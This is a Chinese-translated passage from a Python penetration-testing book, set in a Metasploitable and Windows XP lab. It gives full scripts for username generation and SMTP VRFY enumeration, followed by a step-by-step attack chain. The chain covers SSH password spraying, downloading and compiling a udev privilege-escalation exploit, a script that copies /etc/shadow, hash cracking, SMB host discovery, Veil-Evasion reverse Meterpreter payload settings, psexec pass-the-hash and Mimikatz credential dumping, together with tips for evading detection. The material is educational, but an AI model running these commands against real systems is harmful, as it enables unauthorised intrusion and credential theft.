    parser = argparse.ArgumentParser(usage=usage)

现在我们已经在解析器中定义了实例,我们需要将每个参数添加到解析器中。然后,我们定义变量args,它将保存每个存储参数或选项的公开引用值。

    parser.add_argument("-c", "--census", type=str, help="The census file that will be used to create usernames, this can be retrieved like so:\n wget http://www2.census.gov/topics/genealogy/2000surnames/Top1000.xls", action="store", dest="census_file")
    parser.add_argument("-f", "--filename", type=str, help="Filename for output the usernames", action="store", dest="filename")
    parser.add_argument("-a","--append", type=str, action="store", help="A username list to append to the list generated from the census", dest="append_file")
    parser.add_argument("-p","--prepend", type=str, action="store", help="A username list to prepend to the list generated from the census", dest="prepend_file")
    parser.add_argument("-d","--domain", type=str, action="store", help="The domain to append to usernames", dest="domain_name")
    parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result")
    parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet")
    parser.add_argument('--version', action='version', version='%(prog)s 0.42b')
    args = parser.parse_args()

定义了参数后,您需要验证用户是否设置了它们,并且它们是否易于通过脚本引用。

    # Set Constructors
    census_file = args.census_file   # Census
    filename = args.filename         # Filename for outputs
    verbose = args.verbose           # Verbosity level
    append_file = args.append_file   # Filename for the appending usernames to the output file
    prepend_file = args.prepend_file # Filename to prepend to the usernames to the output file
    domain_name = args.domain_name   # The name of the domain to be appended to the username list
    dir = os.getcwd()                # Get current working directory
    # Argument Validator
    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)
  if append_file and prepend_file:
      sys.exit("[!] Please select either prepend or append for a file not both")

与参数验证器类似,您需要确保设置了输出文件。如果没有设置,您可以准备一个默认值以备需要使用。您需要保持操作系统不可知性,因此需要设置为在 Linux/UNIX 系统或 Windows 系统中运行。确定的最简单方法是通过\/的方向。请记住,\用于转义脚本中的字符,因此请确保输入两个以取消效果。

    if not filename:
        if os.name != "nt":
             filename = dir + "/census_username_list"
        else:
             filename = dir + "\\census_username_list"
    else:
        if filename:
            if "\\" or "/" in filename:
                if verbose > 1:
                    print("[*] Using filename: %s") % (filename)
        else:
            if os.name != "nt":
                filename = dir + "/" + filename
            else:
                filename = dir + "\\" + filename
                if verbose > 1:
                    print("[*] Using filename: %s") % (filename)

需要定义的剩余组件是在调用函数时定义的工作变量。

    # Define working variables
    sur_dict = {}
    user_dict = {}
    user_list = []
    sup_username = []
    target = []
    combined_users = []

在遵循所有这些细节之后,您最终可以进入脚本的主要部分,即调用活动以创建用户名文件:

    # Process census file
    if not census_file:
        sys.exit("[!] You did not provide a census file!")
    else:
        sur_dict, user_dict, user_list = census_parser(census_file, verbose)
    # Process supplemental username file
    if append_file or prepend_file:
        sup_username, target = username_file_parser(prepend_file, append_file, verbose)
        combined_users = combine_usernames(sup_username, target, user_list, verbose)
    else:
        combined_users = user_list
    write_username_file(combined_users, filename, domain_name, verbose)

以下屏幕截图演示了脚本如何输出帮助文件:

生成用户名

可以在此处找到运行脚本和输出的示例,其中在username.lst中添加了用户名msfadmin

生成用户名

提示

可以从以下网址下载此脚本raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/username_generator.py

我们有我们的用户名生成器,并且我们包括名称msfadmin,因为我们已经对测试框 Metasploitable 进行了一些初步研究。我们知道这是一个标准默认帐户,我们将要验证它是否实际存在于系统中。当您最初扫描系统并识别开放端口和服务,然后验证您准备攻击的内容时,这是研究的正常部分。该研究应包括寻找默认和已知帐户。

提示

在执行这些类型的攻击时,通常会排除已知系统内置帐户,例如 root。在 Windows 系统上,您仍应测试管理员帐户,因为该帐户可能已更名。您还应该避免在双盲或红队演习期间首先测试 root 登录。这通常会引起安全管理人员的警报。

使用 SMTP VRFY 测试用户

现在我们有了一个用户名列表,并且我们知道 SMTP 是开放的,我们需要看看VRFY是否已启用。这非常简单,你只需 telnet 到 25 号端口,执行VRFY命令,后跟一个单词,然后按回车键。通过这种方式检查用户名的好处在于,如果VRFY已启用,那么安全部署实践存在问题,如果它是面向互联网的,他们可能没有监控它。减少在线凭证攻击接口的凭证猜测次数将减少被抓到的机会。执行此操作的简单命令如下图所示:

使用 SMTP VRFY 测试用户

我们没有找到 smith,但也许其他人在这次攻击中会确认。在编写脚本之前,你需要了解大多数 SMTP 系统中可能产生的不同错误或控制消息。这些可能会有所不同,你应该设计你的脚本,使其足够灵活,以便在该环境中进行修改。

返回代码 含义
252 用户名在系统中。
550 用户名不在系统中。
503 服务需要身份验证才能使用。
500 服务不支持 VRFY。

现在你知道了基本的代码响应,你可以编写一个利用这个弱点的脚本。

注意

也许你会想为什么我们要编写一个利用这一点的脚本,当 Metasploit 和其他工具已经内置了这个模块。在许多系统中,利用这一弱点需要特殊的超时和/或节流要求。大多数其他工具,包括 Metasploit 模块,在你试图绕过这些障碍时会失败,所以 Python 才是你最好的答案。

创建 SMTP VRFY 脚本

由于 Metasploit 和其他攻击工具在会话尝试和每次尝试之间的延迟方面没有考虑超时,我们需要考虑通过合并这些任务使脚本更有用。如前所述,工具很棒,它们通常适用于你遇到的 80%的情况,但作为专业人士意味着适应工具可能不适用的情况。

到目前为止使用的库是常见的,但我们从第二章中添加了一个库,Python 脚本的基础——用于网络接口控制的 socket 库和用于控制超时的时间。

#/usr/bin/env python
import socket, time, argparse, os, sys

下一个函数将文件读入一个列表,该列表将用于测试用户名。

defread_file(filename):
    with open(filename) as file:
        lines = file.read().splitlines()
    return lines

接下来,修改username_generator.py脚本函数,将数据写入一个组合的用户名文件。这提供了一个确认的用户名列表,以便用于有用的输出格式。

defwrite_username_file(username_list, filename, verbose):
    open(filename, 'w').close() #Delete contents of file name
    if verbose > 1:
        print("[*] Writing to %s") % (filename)
    with open(filename, 'w') as file:
        file.write('\n'.join(username_list))
    return

最后一个函数,也是最复杂的一个函数,名为verify_smtp,它验证用户名是否存在 SMTP VRFY漏洞。首先,它加载了从read_file函数返回的用户名,并确认了参数数据。

defverify_smtp(verbose, filename, ip, timeout_value, sleep_value, port=25):
    if port is None:
        port=int(25)
    elif port is "":
        port=int(25)
    else:
        port=int(port)
    if verbose > 0:
        print "[*] Connecting to %s on port %s to execute the test" % (ip, port)
    valid_users=[]
    username_list = read_file(filename)

然后脚本从列表中取出每个用户名,并使用条件测试尝试连接到指定 IP 和端口的系统。当连接时,我们捕获横幅,使用用户名构建命令,并发送命令。返回的数据存储在结果变量中,并对先前记录的响应代码进行测试。如果收到 252 响应,则将用户名附加到valid_users列表中。

    for user in username_list:
        try:
            sys.stdout.flush()
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(timeout_value)
            connect=s.connect((ip,port))
            banner=s.recv(1024)
            if verbose > 0:
                print("[*] The system banner is: '%s'") % (str(banner))
            command='VRFY ' + user + '\n'
            if verbose > 0:
                print("[*] Executing: %s") % (command)
                print("[*] Testing entry %s of %s") % (str(username_list.index(user)),str( len(username_list)))
            s.send(command)
            result=s.recv(1024)
            if "252" in result:
                valid_users.append(user)
                if verbose > 1:
                    print("[+] Username %s is valid") % (user)
            if "550" in result:
                if verbose > 1:
                    print "[-] 550 Username does not exist"
            if "503" in result:
                print("[!] The server requires authentication")
                break
            if "500" in result:
                print("[!] The VRFY command is not supported")
                break

特定的中断条件被设置,以便在满足需要结束测试的条件时,脚本可以相对优雅地结束。值得注意的是,每个用户名都有一个单独的连接被建立,以防止连接被保持太久,减少错误,并提高将来将该脚本制作成多线程脚本的机会,如第十章中所述,向 Python 工具添加永久性

这个脚本的最后两个组件是异常错误处理和最终的条件操作,它关闭连接,延迟下一次执行(如果需要)并清除标准输出。

        except IOError as e:
            if verbose > 1:
                print("[!] The following error occured: '%s'") % (str(e))
            if 'Operation now in progress' in e:
                print("[!] The connection to SMTP failed")
                break
        finally:
            if valid_users and verbose > 0:
                print("[+] %d User(s) are Valid" % (len(valid_users)))
            elif verbose > 0 and not valid_users:
                print("[!] No valid users were found")
            s.close()
            if sleep_value is not 0:
                time.sleep(sleep_value)
            sys.stdout.flush()
    return valid_users

前面的脚本组件在这里被重复使用,并且它们只是针对新脚本进行了微调。看一下并确定不同的组件。然后了解如何将更改合并到将来的更改中。

if __name__ == '__main__':
    # If script is executed at the CLI
    usage = '''usage: %(prog)s [-u username_file] [-f output_filename] [-iip address] [-p port_number] [-t timeout] [-s sleep] -q -v -vv -vvv'''
    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-u", "--usernames", type=str, help="The usernames that are to be read", action="store", dest="username_file")
    parser.add_argument("-f", "--filename", type=str, help="Filename for output the confirmed usernames", action="store", dest="filename")
    parser.add_argument("-i", "--ip", type=str, help="The IP address of the target system", action="store", dest="ip")
    parser.add_argument("-p","--port", type=int, default=25, action="store", help="The port of the target system's SMTP service", dest="port")
    parser.add_argument("-t","--timeout", type=float, default=1, action="store", help="The timeout value for service responses in seconds", dest="timeout_value")
    parser.add_argument("-s","--sleep", type=float, default=0.0, action="store", help="The wait time between each request in seconds", dest="sleep_value")
    parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result")
    parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet")
    parser.add_argument('--version', action='version', version='%(prog)s 0.42b')
args = parser.parse_args()
    # Set Constructors
    username_file = args.username_file   # Usernames to test
    filename = args.filename             # Filename for outputs
    verbose = args.verbose               # Verbosity level
    ip = args.ip                         # IP Address to test
    port = args.port                     # Port for the service to test
    timeout_value = args.timeout_value   # Timeout value for service connections
    sleep_value = args.sleep_value       # Sleep value between requests
    dir = os.getcwd()                    # Get current working directory
    username_list =[]  
    # Argument Validator
    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)
    if not filename:
        if os.name != "nt":
            filename = dir + "/confirmed_username_list"
        else:
             filename = dir + "\\confirmed_username_list"
    else:
        if filename:
            if "\\" or "/" in filename:
                if verbose > 1:
                    print(" [*] Using filename: %s") % (filename)
        else:
            if os.name != "nt":
                filename = dir + "/" + filename
            else:
                filename = dir + "\\" + filename
                if verbose > 1:
                    print("[*] Using filename: %s") % (filename)

脚本的最后一个组件是调用特定函数来执行脚本。

username_list = verify_smtp(verbose, username_file, ip, timeout_value, sleep_value, port)
if len(username_list) > 0:
    write_username_file(username_list, filename, verbose)

脚本具有默认的帮助功能,就像username_generator.py脚本一样,如下截图所示:

创建 SMTP VRFY 脚本

这个脚本的最终版本将产生如下输出:

创建 SMTP VRFY 脚本

执行以下命令后,将用户名平面文件传递给它,目标的 IP 地址,SMTP 服务的端口和输出文件,脚本具有默认的睡眠值为0.0和默认超时值为1秒。如果在互联网上进行测试,可能需要增加这个值。

创建 SMTP VRFY 脚本

我们在系统上验证的一个用户毫不奇怪地是msfadmin账户。不过,如果这是一个真实的系统,你已经减少了需要有效测试的账户数量,从而将凭证攻击方程式缩小了一半。现在,你只需要找到一个想要测试的服务。

提示

这个脚本可以从raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/smtp_vrfy.py下载。

摘要

本章涵盖了许多关于从外部来源操作文件到低级连接资源的细节。最终结果是能够识别潜在的用户账户并验证它们。这些活动还突出了argparse库的参数和选项的正确使用,以及脚本的使用可以满足开发工具无法满足的需求。所有这些都是为了利用我们将在下一章中介绍的服务而构建的。

第五章:用 Python 利用服务

今天渗透测试和利用服务的一个重要误解是,可利用的远程代码执行RCE)漏洞的普遍存在。现实是,找到数百个易受攻击的服务,只需要将Internet ProtocolIP)地址插入工具中即可利用的日子已经基本结束了。你仍然会发现可以通过溢出堆栈或堆来利用的漏洞,只是数量大大减少或更加复杂。我们将解释为什么在今天的软件中这些漏洞更难利用,在第八章中,用 Python、Metasploit 和 Immunity 进行利用开发,别担心,我们会讲到的。

所以,如果你期望每次进入网络并利用 Microsoft Security Bulletins MS08-067、MS03-024 或 MS06-40 来立足,那你大错特错了。不要担心,它们仍然存在,但不是在每台主机上都能找到,可能只有网络中的一台系统有这些漏洞。更糟糕的是,对于我们作为模拟恶意行为者来说,它甚至可能无法让我们访问一个允许我们在参与中前进的盒子。通常情况下,它可能是一个遗留系统或一个甚至没有连接到不同凭证集的域的供应商产品。当然,并不是总是这种情况。

找到的 RCE 漏洞数量完全取决于组织的安全成熟度。这与规模或预算无关,而是与他们的安全计划实施策略有关。安全策略薄弱且新成立的程序的组织将有更多这样的漏洞,而安全策略更好的组织将有更少。许多新的渗透测试人员忽视的另一个因素是人才;公司可能在防御方面雇佣的人员,这可能会显著影响他们在环境中的操作能力。

即使一个组织有一个薄弱的安全策略,如果它雇佣了高技能的工程师和管理员,它可能仍然拥有一个相当强大的战术安全姿态。在战术层面上,非常聪明的技术人员意味着可以制定强有力的控制措施,但如果没有一个全面的安全策略,设备可能会被忽视,相关强大的技术姿态中可能存在漏洞。另一个风险是当这些技能成员离开组织,或者更糟糕的是,如果他们变得叛逆。

无论如何,如果没有建立的流程和程序,任何强大的安全控制在那一点都可能被认为已经受到了损害。此外,全面和验证的控制实施可能是不可能的。作为渗透测试人员,这对你来说很重要,因为你可以理解组织信息安全计划的起伏和流动以及常见原因。管理层将寻求你对这些问题的答案,你所看到的指标将帮助你诊断问题并确定根本原因。

理解服务利用的新时代。

在之前的章节中,已经做好了准备,向你展示了一个新时代利用的模拟示例。这意味着,我们正在利用配置错误、默认设置、不良实践和安全意识的缺乏。与其在开发的代码中找到控制差距,不如在环境中包括人员培训的实施中找到。进入或穿越网络的特定方式将取决于网络,攻击向量会发生变化,而不是记住特定的向量,要专注于建立一种思维方式。

今天的利用意味着识别已经存在的访问权限,并窃取该访问权限的一部分,通过该访问级别来妥协系统,捕获这些系统的详细信息,并横向移动,直到识别出关键数据或新的访问级别。一旦你确定了对系统的访问权限,你将尝试查找允许你移动和访问其他系统的详细信息。这意味着配置文件中包含用户名和密码、存储的用户名和密码,或者挂载的共享文件。这些组件中的每一个都将为您提供信息,以获取对其他主机的访问权限。以这种方式攻击系统的好处在于它比利用 RCE 和上传有效载荷要安静得多;你在必要协议的范围内移动,并且你更好地模拟了真正的恶意行为者。

为了建立一种一致的语言,你从一个主机移动到另一个主机,以相同的特权级别,这被称为横向移动。当你找到更高级别的特权,比如域管理员(DA),这被认为是垂直移动或特权升级。当你利用对主机或网络区域的访问权限来获取以前无法看到的系统的访问权限,因为访问控制或网络隔离,这被称为枢纽。现在你理解了这些概念和术语,让我们来弹出一些框。

提示

为了模拟这个例子,我们将使用 Windows XP 模式和 Metasploitable 的组合,这两者都是免费使用的。有关设置 Metasploitable 的详细信息已经提供。Windows XP 模式的详细信息可以在以下两个统一资源定位符URL)中找到zeltser.com/windows-xp-mode-for-vmware-virtualization/zeltser.com/how-to-get-a-windows-xp-mode-virtual-machine-on-windows/。记住要执行 Windows 机器可能有的尽可能多的这些漏洞,以启用其管理共享。在真实的域中,这是很常见的,因为它们经常用于管理远程系统。

理解利用的链接

在第四章中,用 Python 执行凭据攻击,我们展示了如何在系统或环境中识别合法帐户。Metasploitable 有很好的文档,但是获取对系统的访问权限的概念与现实生活中是相同的。此外,像这样的易受攻击的框提供了一个很棒的培训环境,对你来说,从可用性和法律角度来看,风险很小。在上一章中,我们验证了目标系统上存在msfadmin帐户,并且在 Metasploitable 中,默认情况下,该帐户的密码与用户名相同。

就像真实环境一样,我们通过网站和配置渠道进行研究,以确定默认帐户和设置是什么,然后使用这些信息智能地利用这些框。为了验证这些弱点,我们将执行密码喷洒攻击。这种攻击使用一个密码对应多个用户名,这可以防止帐户锁定。它依赖于环境中密码重用的原则,或者用户在所在地区常用的密码。

注意

在美国,你会发现最常用的密码是 Password1、Password123,以及季节和年份,比如 Summer2015,还有一些与公司名称或测试的用户名有关的密码。直到今天,我在每次参与的项目中都发现了某种形式的弱密码或默认密码。如果你观看或阅读任何一次重大的数据泄露,你会发现弱密码、默认密码或已知密码是其中的一个组成部分。另外,请注意,所有这些密码都符合 Windows Active Directory 密码复杂性要求,如technet.microsoft.com/en-us/library/hh994562%28v=ws.10%29.aspx所示。

检查弱密码、默认密码或已知密码

使用已知用户名msfadmin执行对 Metasploitable 的密码喷洒攻击,使用与用户名相同的密码。我们扫描目标主机以查找我们可以测试凭据的开放服务。

检查弱密码、默认密码或已知密码

然后我们可以注意到Secure Shell (SSH)服务是开放的,因此这将是一个很好的目标服务。攻击这项服务将提供对主机的交互式访问。例如,我们可以对 SSH 服务启动 Hydra,以测试目标主机上的这个特定弱点。如下图所示,我们已经验证了提供对系统访问权限的用户名和密码组合。

检查弱密码、默认密码或已知密码

现在,许多新的评估者可能会只使用 Metasploit 来执行这个攻击训练,如第三章所示,物理引擎集成。问题在于,你无法与服务进行交互,而是必须通过命令行而不是终端访问。为了绕过这个限制,我们将使用 SSH 客户端。

注意

命令行不允许使用交互式命令,而终端可以。通过 SSH 客户端利用 SSH 服务提供终端访问,而 Metasploit 模块ssh_login提供命令行访问。因此,在可能的情况下,终端是首选的,如下例所示。

获取系统的 root 访问权限

现在我们知道了访问该系统的用户名和密码组合,我们可以尝试访问主机并识别系统上的其他细节。具体来说,我们想要识别可能为我们提供访问其他系统的其他用户名和密码。为了做到这一点,我们需要查看是否可以访问目标主机上的/etc/passwd/etc/shadow文件。这两个文件的组合将提供主机上的用户名和相关密码。使用用户名和密码msfadmin通过 SSH 登录系统。

获取系统的 root 访问权限

现在,我们验证我们是否可以访问/etc/passwd文件,然后使用Secure Copy (SCP)将文件复制到我们的 Kali 主机上。以下成功的复制显示我们已经访问了该文件:

获取系统的 root 访问权限

然后,我们尝试使用当前访问权限访问/etc/shadow,并确定这是不可能的。

获取系统的 root 访问权限

这意味着我们需要提升本地权限以访问该文件;在 Linux 中,可以通过四种主要方式之一来实现。最简单的方法是找到主机上存储的用户名和密码,这在 Linux 或 UNIX 服务器上非常常见。第二种方法,不需要引入漏洞到系统中,是通过操纵文件、输入和输出,这些文件、输入和输出使用了 Sticky 位、Set User Identifier (SUID)和Globally Unique Identifier (GUID)的不当用法。第三种方法是利用内核的一个易受攻击的版本。

第四种方法是获得对这些文件的访问权限最容易被忽视的方式,即通过misconfigured sudo访问。您只需执行sudo su -,这将实例化一个作为 root 的会话。以下显示了这是一个简单获得系统根访问权限的例子:

获得系统的根访问权限

提示

从技术上讲,还有第五种方法,但这意味着利用可能直接提供根访问权限的不同服务。这在 Metasploitable 中可用,但在真实环境中不太常见。

现在请记住,此时我们可以轻松地获取这两个文件并将它们复制出来。为了提供一个更真实的例子,我们将突出显示对内核的利用研究验证和执行。因此,我们需要验证系统上的内核版本,并使用命令uname -a来查看它是否容易受到攻击。

获得系统的根访问权限

系统正在运行内核版本 2.6.24,这是过时的并且已知容易受到攻击。这可以在许多地方进行研究,包括最受欢迎的www.cvedetails.com/之一,它不仅引用漏洞,还指出可以找到利用程序的位置。

提示

永远不要从互联网上下载利用程序并直接在系统上利用它。相反,始终在实验室环境中进行测试,在一个与任何其他系统或设备都没有连接的隔离系统上进行测试。在测试时,确保运行网络监听和其他监控工具,以验证可能在后台运行的活动。

Gotogle页面,您可以直接搜索漏洞。

获得系统的根访问权限

结果是这个内核有大量的漏洞。我们正在寻找一个特定的漏洞,它将允许我们使用已知的利用程序进行特权升级。因此,我们导航到漏洞(324)下找到的列出的漏洞,这代表了在撰写本书时发现的特定内核版本的漏洞数量。

获得系统的根访问权限

我们按Exploits 数量降序组织漏洞,以找到可利用的漏洞。

获得系统的根访问权限

然后,我们寻找每个在“# of Exploits”列中有红色数字和在Vulnerability Types列中有+Priv的漏洞,以识别有用的利用程序。这表示公开可用的利用程序数量,以及在这种情况下利用漏洞会返回什么,即提升的权限。

获得系统的根访问权限

CVE-2010-1146 是一个非常好的候选项,如下例所示。现在可以在www.exploit-db.com/exploits/12130找到一个公开可用的利用程序,由www.cvedetails.com/引用。

获得系统的根访问权限

现在,在您下载利用程序并运行之前,您应该检查并查看系统是否甚至容易受到此利用程序的攻击。基本要求是挂载了Reiser 文件系统ReiserFS)并带有扩展属性xattr)。因此,我们需要使用内置命令的组合来检查并查看我们的 Metasploitable 实例中是否有 ReiserFS xattr。首先,我们需要使用fdisk -l来识别分区,然后使用df -T来识别文件系统类型,然后必要时可以查看每个 ReiserFS 分区。fdisk -l的任何输出,带有标识符 83 的都有可能是 ReiserFS 挂载的候选项。

获得系统的根访问权限

如上所示,设备/dev/sda1的标识符为 83,因此该挂载点有可能是 ReiserFS;可以使用df -T来验证。运行命令后,我们看到该设备是一个 EXT3 文件系统,这意味着它不是 ReiserFS,因此我们不需要检查文件系统是否启用了扩展属性。

提示

您还可以检查/etc/fstab,看看分区是否已正确定义为 xattr 和 reiserfs。请记住,这不会检测系统上潜在的手动挂载,因此可能会错过攻击向量。但请记住,/etc/fstab中可能还包含明文凭据,或者包含凭据的挂载文件的引用。因此,这仍然是一个检查允许您继续前进的项目的好地方。

获得系统的 root 访问权限

因此,内核在理论上对这种 exploit 是有漏洞的,但是该主机的当前配置对特定的 exploit 不易受攻击。现在我们知道,即使在执行之前,这种特定的特权利用也不会起作用。这意味着,我们需要回到www.cvedetails.com/,并尝试识别其他可行的 exploit。一个潜在的可行漏洞涉及 CVE-2009-1185,有一个在 milw0rm 上的 exploit。

获得系统的 root 访问权限

注意

任何指向www.milw0rm.com的 exploit 的引用现在位于www.exploit-db.com/。当 Offensive Security 团队接管milw0rm数据库时,milw0rm数据库被移动到exploit-db。因此,只需调整相关的 URL,您将找到相同的详细信息。

现在您可以从网站下载 exploit 并将其传输到系统,或者我们可以通过命令行作弊并完成它。只需运行以下命令:

wget http://www.exploit-db.com/download/8572 -O escalate.c

这将下载 exploit 并将其保存为code,以便在本地主机上编译和执行。

获得系统的 root 访问权限

我们需要找到gcc编译器,并验证它是否在我们的路径中,以便轻松执行,然后在目标系统上编译代码。可以按照以下步骤完成,使用gcc和以下命令将代码编译为 exploit:gcc escalate.c -o escalate。这将输出名为escalate的新可执行二进制文件。

提示

在真实系统上执行时,不要将文件命名为exploitescalateshellpwned或类似的名称。这些是许多安全工具扫描的常见名称,因此它们在执行之前可能会被标记。对于本例来说,这并不重要。

现在编译的 exploit 被称为escalate,一旦我们确定了一些其他信息组件,就可以运行。这个 exploit 利用了 udevd netlink 套接字进程,因此我们需要识别该进程并将 exploit 传递给进程标识符PID)。这可以在引用服务/proc/net/netlink的文件中找到。您可以通过执行以下命令来识别详细信息:cat /proc/net/netlink

获得系统的 root 访问权限

注意

请记住,您的 PID 可能会有所不同。

这个 exploit 特别执行一个包含命令的脚本,写入文件/tmp/run。因此,让我们将/etc/shadow文件复制到/tmp,因为我们首先要访问的就是这些数据。我们还需要验证复制的文件是否与原始文件相同;我们可以通过对每个文件进行消息摘要 5MD5)并将结果放入/tmp中的另一个文件hashes来轻松地完成这一点。在/tmp中创建一个名为 run 的文件,并添加以下内容:

#!/bin/bash
cp /etc/shadow /tmp/shadow
chmod 777 /tmp/shadow
md5sum /tmp/shadow > /tmp/hashes
md5sum /etc/shadow >> /tmp/hashes

然后,使用特定进程的参数运行漏洞利用。下图显示了gcc编译器的识别、漏洞利用的编译、执行和结果的证明:

获取系统的 root 访问权限

注意

可以直接卸载文件,而不是移动和复制它,但通常情况下,你不会将系统的用户名和密码写入被利用的盒子上的文件,因为你永远不知道谁已经在上面。此外,这个例子是设计为简单的端口重定向工具,如netcat可能不在系统上。

然后,通过比较两个文件的 MD5 哈希值,并将其写入/tmp/hashes文件,验证复制文件的内容与/etc/shadow文件相同。然后可以将新复制的文件从系统上复制到攻击盒上。

提示

在真实环境中一定要非常谨慎,当你复制passwd或 shadow 文件时,可能会破坏目标系统。因此,请确保不要删除、重命名或移动原始文件。如果在目标系统的其他位置复制了文件,请删除它,以免帮助真正的攻击者。

同时,记住内核漏洞利用有三种输出,它们可能每次执行时都不起作用(所以再试一次),它们可能会使特定主机崩溃,或者提供所需的结果。如果你执行这些类型的攻击,一定要在执行之前与客户一起工作,以确保它不是关键系统。简单的重启通常可以解决崩溃问题,但这些类型的攻击总是比在服务器上执行更安全。

获取系统的 root 访问权限

理解 Linux 哈希破解

现在,在 Kali 盒上创建一个目录来处理所有破解数据,并将 shadow 和passwd文件移动过去。

理解 Linux 哈希破解

然后,使用 John 来使用unshadow命令组合文件,然后开始默认的破解尝试。

理解 Linux 哈希破解

测试账户凭据的同步

有了这些结果,我们可以确定这些凭据是否在网络中被重用。我们知道目标网络中主要是 Windows 主机,但我们需要确定哪些主机开放了端口445。然后我们可以尝试确定,当运行以下命令时,哪些帐户可能授予我们访问权限:

nmap -sS -vvv -p445 192.168.195.0/24 -oG output

然后,使用以下命令解析开放端口的结果,这将提供一个启用Server Message Block (SMB)的目标主机文件。

grep 445/open output| cut -d" " -f2 >> smb_hosts

密码可以直接从 John 中提取,并写成一个密码文件,用于后续的服务攻击。

john --show unshadowed |cut -d: -f2|grep -v " " > passwords

提示

第一次运行这种类型的攻击时,一定要在单个主机上进行测试。在这个例子中,我们使用了 sys 帐户,但更常见的是使用 root 帐户或类似的管理帐户来测试密码重用(同步)在一个环境中。

使用auxiliary/scanner/smb/smb_enumusers_domain进行的以下攻击将检查两件事。它将确定此帐户可以访问哪些系统,以及当前登录到系统的相关用户。在此示例的第二部分中,我们将重点介绍如何识别实际特权帐户和域的一部分。

smb_enumusers_domain模块有好坏之分。坏的一面是您无法将多个用户名和密码加载到其中。这种能力是为smb_login模块保留的。smb_login的问题在于它非常嘈杂,因为许多签名检测工具会对这种测试登录的方法进行标记。第三个模块smb_enumusers可以使用,但它只提供与本地用户相关的详细信息,因为它根据安全账户管理器(SAM)文件内容识别用户。因此,如果用户有域账户并且已登录到该系统,smb_enumusers模块将无法识别他们。

因此,在确定横向移动的目标时,要了解每个模块及其限制。我们将重点介绍如何配置smb_enumusers_domain模块并执行它。这将展示一个获得对易受攻击主机访问权限的示例,然后验证 DA 账户成员资格。然后可以使用这些信息来确定 DA 的位置,以便使用 Mimikatz 提取凭据。

注意

对于这个例子,我们将使用 Veil 作为自定义利用程序,尝试绕过主机入侵防护系统(HIPS)。有关 Veil 的更多信息可以在github.com/Veil-Framework/Veil-Evasion.git找到。

因此,我们配置模块使用密码batman,并且目标是系统上的本地管理员账户。这可以更改,但通常使用默认值。由于它是本地管理员,域设置为WORKGROUP。下图显示了模块的配置:

测试账户凭据同步

注意

在运行这些命令之前,请确保使用 spool 将结果输出到日志文件中,以便您可以返回并查看结果。

正如您在下图中所看到的,该账户提供了有关谁登录到系统的详细信息。这意味着返回的账户名称中有相关的已登录用户,并且本地管理员账户将在该系统上起作用。这意味着这个系统很容易受到“传递哈希攻击”(PtH)的威胁。

测试账户凭据同步

注意

psexec模块允许您传递提取的本地区域网络管理器(LM):新技术 LM(NTLM)哈希和用户名组合,或者只是用户名密码对来获取访问权限。

首先,我们设置一个自定义的 multi/handler 来捕获 Veil 生成的自定义利用程序,如下例所示。请记住,我使用443作为本地端口,因为它可以绕过大多数 HIPS,而本地主机将根据您的主机而变化。

测试账户凭据同步

现在,我们需要使用 Veil 生成自定义有效载荷,以便与psexec模块一起使用。您可以通过导航到Veil-Evasion安装目录并使用python Veil-Evasion.py来执行此操作。Veil 有许多有效载荷,可以使用各种混淆或保护机制生成,要查看要使用的特定有效载荷,执行list命令。您可以通过输入有效载荷的编号或名称来选择有效载荷。例如,运行以下命令生成一个不使用 shell 代码的 C#分段器,但请记住,这需要目标计算机上特定版本的.NET 才能工作。

use cs/meterpreter/rev_tcp
set LPORT 443
set LHOST 192.168.195.160
set use_arya Y
generate

注意

典型有效载荷有两个组成部分,分别是分段器和阶段。分段器在攻击者和受害者之间建立网络连接。通常使用本地系统语言的有效载荷可以是纯粹的分段器。第二部分是阶段,这些是由分段器下载的组件。这些可以包括像 Meterpreter 这样的东西。如果两个项目结合在一起,它们被称为单个;想想当你创建你的恶意通用串行总线USB)驱动器时,这些通常是单个。

输出将是一个可执行文件,将生成一个加密的反向超文本传输安全协议(HTTPS) Meterpreter。

测试帐户凭据的同步

有效载荷可以使用脚本checkvt进行测试,该脚本可以安全地验证有效载荷是否会被大多数 HIPS 解决方案拾取。它可以在不上传到 Virus Total 的情况下进行此操作,也不会将有效载荷添加到数据库中,许多 HIPS 提供商都会从中提取。相反,它会将有效载荷的哈希与数据库中已有的哈希进行比较。

测试帐户凭据的同步

现在,我们可以设置psexec模块以引用自定义有效载荷进行执行。

测试帐户凭据的同步

更新psexec模块,使其使用由Veil-Evasion生成的自定义有效载荷,通过设置EXE::Custom并使用set DisablePayloadHandler true禁用自动有效载荷处理程序,如下所示:

测试帐户凭据的同步

利用目标机器,然后尝试确定域中的 DA 是谁。这可以通过两种方式之一完成,即使用post/windows/gather/enum_domain_group_users模块或通过 shell 访问使用以下命令:

net group "Domain Admins"

然后,我们可以通过先前运行的模块的输出文件进行Grep,以定位可能已登录这些 DA 的相关系统。当访问这些系统中的一个时,内存中可能会有 DA 令牌或凭据,这些可以被提取和重复使用。以下命令是分析这些类型条目的日志文件的示例:

grep <username> <spoofile.log>

正如您所看到的,这条非常简单的利用路径可以让您确定 DA 的位置。一旦您进入系统,您只需load mimikatz并从已建立的 Meterpreter 会话中使用wdigest命令提取凭据。当然,这意味着系统必须比 Windows 2000 更新,并且在内存中有活动凭据。如果没有,将需要额外的努力和研究来继续前进。为了强调这一点,我们使用我们已建立的会话来提取凭据,如下例所示。凭据在内存中,由于目标机器是 Windows XP,所以没有冲突,也不需要额外的研究。

测试帐户凭据的同步

除了从系统中提取活动 DA 列表所获得的情报外,我们现在还有另一组确认的凭据可供使用。重复使用这种攻击方法可以让您快速在网络中移动,直到找到可行的目标。

使用 Python 自动化利用列车

